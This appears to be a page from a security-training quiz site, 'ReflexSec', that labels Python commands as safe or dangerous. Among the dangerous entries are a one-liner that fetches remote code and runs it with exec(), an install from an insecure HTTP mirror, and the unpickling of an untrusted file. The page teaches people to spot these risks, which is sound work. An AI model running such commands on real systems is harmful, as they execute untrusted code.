← ReflexSec
Python
Every command ReflexSec uses, with the explanation behind the call. No timer — read at your own pace.
AllFile SystemNetworkingPrivilege EscalationPersistenceCredential AccessData ExfiltrationProcess ExecutionShellContainersCloudGit / DevelopmentLinuxmacOSWindowsPowerShellPythonJavaScript / NodeDockerKubernetesCI/CDWeb Security
- Safe
find . -name "*.pyc" -deleteIntermediate - Safe
python3 -m http.server 8000 --bind 127.0.0.1Advanced - Safe
pip install --require-hashes -r requirements.txtExpert - Dangerous
pip install --index-url http://mirror.example.net/simple requestsAdvanced - Dangerous
python3 -c "import urllib.request as u; exec(u.urlopen('https://example.com/s').read())"Nightmare - Safe
python3 -c "import json; d=json.load(open('sbom.json')); print(len([c for c in d.get('components',[]) if c.get('licenses')]))"Nightmare - Safe
python3 -c "import pickletools; pickletools.dis(open('model.pkl','rb'))"ProExpert - Safe
python3 -m tarfile -l ./analytics-1.2.tar.gzProNightmare - Dangerous
pip install ./analytics-1.2.tar.gzProIntermediate - Dangerous
python3 -c "import pickle; pickle.load(open('model.pkl','rb'))"ProIntermediate - Dangerous
python3 ./sample_decoder.pyProExpert - Dangerous
jupyter nbconvert --to notebook --execute ./triage.ipynbProExpert - Safe
python3 -m venv .venvBeginner - Safe
pip list --outdatedBeginner